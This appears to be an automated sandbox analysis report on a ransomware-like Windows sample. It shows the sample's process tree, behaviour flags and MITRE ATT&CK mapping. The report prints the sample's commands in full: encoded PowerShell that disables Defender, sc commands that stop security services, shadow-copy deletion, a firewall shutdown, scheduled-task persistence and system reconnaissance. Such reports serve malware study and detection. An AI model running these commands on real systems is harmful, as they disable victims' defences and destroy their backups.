PID 3576 wrote to memory of 324	3576	libecch.io_chrome.exe	143
PID 3576 wrote to memory of 5340	3576	libecch.io_chrome.exe	144
PID 3576 wrote to memory of 4208	3576	libecch.io_chrome.exe	145
PID 3576 wrote to memory of 3500	3576	libecch.io_chrome.exe	146
PID 3576 wrote to memory of 6068	3576	libecch.io_chrome.exe	147
PID 3576 wrote to memory of 6472	3576	libecch.io_chrome.exe	148
PID 3576 wrote to memory of 2124	3576	libecch.io_chrome.exe	156
PID 3576 wrote to memory of 4624	3576	libecch.io_chrome.exe	157
PID 5340 wrote to memory of 5204	5340	cmd.exe	158
PID 308 wrote to memory of 6748	308	cmd.exe	159
PID 4208 wrote to memory of 5484	4208	cmd.exe	160
PID 5484 wrote to memory of 6212	5484	net.exe	161
PID 3576 wrote to memory of 3068	3576	libecch.io_chrome.exe	162
PID 3576 wrote to memory of 2244	3576	libecch.io_chrome.exe	163
PID 3576 wrote to memory of 4440	3576	libecch.io_chrome.exe	164
PID 3576 wrote to memory of 1408	3576	libecch.io_chrome.exe	165
PID 3576 wrote to memory of 800	3576	libecch.io_chrome.exe	166
PID 3576 wrote to memory of 3184	3576	libecch.io_chrome.exe	167
PID 7048 wrote to memory of 4824	7048	cmd.exe	191
PID 324 wrote to memory of 1412	324	cmd.exe	175
PID 6068 wrote to memory of 6580	6068	cmd.exe	176
PID 3500 wrote to memory of 6280	3500	cmd.exe	177
PID 4440 wrote to memory of 6108	4440	net.exe	178
PID 7048 wrote to memory of 5436	7048	cmd.exe	179
PID 2696 wrote to memory of 6052	2696	chrome.exe	181
PID 2696 wrote to memory of 5112	2696	chrome.exe	183
PID 2696 wrote to memory of 6232	2696	chrome.exe	182
PID 2696 wrote to memory of 5112	2696	chrome.exe	183
PID 2696 wrote to memory of 6232	2696	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://libecch.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xb4,0x134,0x7ff84fa5c728,0x7ff84fa5c734,0x7ff84fa5c740
    3⤵
    PID:4776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,8493232506802965181,6590369202939411613,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=2092 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2188,i,4992910299534471002,10014833437575555635,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=2200 /prefetch:13
    3⤵
    PID:6480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,5001775042442055739,1325586049432939562,262144 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=1900 /prefetch:2
    3⤵
    PID:4376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3152,i,15835273378889395857,12809559957460868366,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:5992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3164,i,17670788419624320524,17220350263215091252,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=3192 /prefetch:1
    3⤵
    PID:360
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4408,i,10066091095493766458,2816514870979587047,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:14
    3⤵
    PID:6716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4960,i,14212800232210308393,4361047744279723442,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:1
    3⤵
    PID:6156
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4796,i,10651698396478641310,9845425995069706984,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=4784 /prefetch:14
    3⤵
    PID:6052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4736,i,18142220327524389372,13840743485465344218,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
    3⤵
    PID:6232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4776,i,5694187289655245841,8309450312969239767,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:1
    3⤵
    PID:5112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5928,i,10239251718017080337,398099930816975574,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:1
    3⤵
    PID:3336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5952,i,1741743814898177506,4465422085325024804,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
    3⤵
    PID:6332
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4744,i,5802364859256853613,7875127829727489635,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5972 /prefetch:1
    3⤵
    PID:1080
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5908,i,4675988091309708168,17355891793833484022,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
    3⤵
    PID:5104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5856,i,6573566344657199967,2726886552835605305,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:14
    3⤵
    PID:3188
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5952,i,5377352276018275523,1837568485322614757,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:1
    3⤵
    PID:4824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=4812,i,8927697828102050258,4051454266676923815,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:1
    3⤵
    PID:1548
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=4804,i,3780895957658142325,9423905416496725777,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:1
    3⤵
    PID:5020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5656,i,2091055243751524413,15682908130842513184,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:14
    3⤵
    PID:4960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=6064,i,13238688116298780974,6096652783023079885,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=3204 /prefetch:9
    3⤵
    PID:4244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6204,i,5764776622008514977,12635437076967092677,2097152 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:3488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5900,i,10426351151084327769,12633227930885082312,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:14
    3⤵
    PID:6812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5656,i,11768943695140549604,10765445393547286685,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
    3⤵
    PID:6036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5384,i,17665667755317975292,3733828916325119678,524288 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:14
    3⤵
    PID:5688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6412,i,14219357786825608095,17647481145087977270,262144 --field-trial-handle=1904,i,17221547342324536002,4381672392394430696,262144 --variations-seed-version --mojo-platform-channel-handle=6360 /prefetch:10
    3⤵
    PID:6888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3352
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6944
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:6812
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:6316
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2340
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5160
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:6724
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6972
- - C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe"
    3⤵
    PID:1944
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:6772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2216
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1748
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4800
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:244
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2724
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6316
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:7048
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4824
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:308
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:6748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:324
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:1412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5340
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5204
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5484
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:6212
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3500
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:6280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6068
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:6580
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6472
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2124
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4624
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3068
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2244
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:6108
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1408
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3184

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6796

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5864

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
1⤵
PID:2072

C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\libecch.io_chrome.exe
1⤵
PID:3672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:6512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5612

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery